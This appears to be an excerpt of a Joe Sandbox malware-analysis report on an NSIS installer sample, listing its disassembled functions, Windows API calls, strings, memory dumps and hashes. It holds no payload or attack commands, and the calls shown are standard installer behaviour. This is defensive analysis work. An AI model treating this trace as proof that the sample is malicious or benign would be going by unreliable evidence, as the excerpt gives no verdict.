lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,.tmp,C:\Users\user~1\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user~1\AppData\Local\Temp\,.tmp,C:\Users\user~1\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\V7OHj6ISEo.exe,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

~nsu, xrefs: 00403845
\Temp, xrefs: 004036FF
C:\Users\user\AppData\Local\Iw, xrefs: 004037F6
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
TMP, xrefs: 00403735
Low, xrefs: 0040371B
C:\Users\user\Desktop\V7OHj6ISEo.exe, xrefs: 004038F8
C:\Users\user\AppData\Local\Iw, xrefs: 004036CB, 004037EB, 00403895, 0040389F
.tmp, xrefs: 00403861
TEMP, xrefs: 0040372D
"C:\Users\user\Desktop\V7OHj6ISEo.exe", xrefs: 0040357C, 00403582, 00403776
NSIS Error, xrefs: 00403567
1033, xrefs: 00403749
C:\Users\user\Desktop, xrefs: 0040386C, 00403871, 0040389E
SeShutdownPrivilege, xrefs: 0040396F
C:\Users\user~1\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
Error launching installer, xrefs: 004037D0

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\V7OHj6ISEo.exe"$.tmp$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Local\Iw$C:\Users\user\AppData\Local\Iw$C:\Users\user\Desktop$C:\Users\user\Desktop\V7OHj6ISEo.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-2866153094
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
, xrefs: 00405385
N, xrefs: 00405057

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

"C:\Users\user\Desktop\V7OHj6ISEo.exe", xrefs: 00405AFA
\*.*, xrefs: 00405B65
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405B08
0WB, xrefs: 00405B53

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\V7OHj6ISEo.exe"$0WB$C:\Users\user~1\AppData\Local\Temp\$\*.*
API String ID: 2035342205-928638858
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,771B2EE0,00405B1A,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user~1\AppData\Local\Temp\,771B3420,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Iw,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user~1\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Iw,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Iw), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEd32, xrefs: 00403D14
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
RichEdit20W, xrefs: 00403D24, 00403D2A
_Nb, xrefs: 00403C5C, 00403CC4
.DEFAULT\Control Panel\International, xrefs: 00403B44
(7B, xrefs: 00403B04
C:\Users\user\AppData\Local\Iw, xrefs: 00403B68, 00403B70, 00403C13, 00403C19, 00403C29
RichEdit, xrefs: 00403D33
"C:\Users\user\Desktop\V7OHj6ISEo.exe", xrefs: 00403ADC
1033, xrefs: 00403AF8, 00403B54
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403AE4
RichEd20, xrefs: 00403D06
.exe, xrefs: 00403BE6

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\V7OHj6ISEo.exe"$(7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Local\Iw$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2597900296
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\V7OHj6ISEo.exe,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\V7OHj6ISEo.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\V7OHj6ISEo.exe,C:\Users\user\Desktop\V7OHj6ISEo.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

C:\Users\user\Desktop\V7OHj6ISEo.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
Inst, xrefs: 00403017
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Null, xrefs: 00403029
"C:\Users\user\Desktop\V7OHj6ISEo.exe", xrefs: 00402F30
soft, xrefs: 00403020
C:\Users\user\Desktop, xrefs: 00402F8B, 00402F90, 00402F96
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00402F3D, 00403108
Error launching installer, xrefs: 00402F80

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\V7OHj6ISEo.exe"$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\V7OHj6ISEo.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3415164459
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Iw,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Iw,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
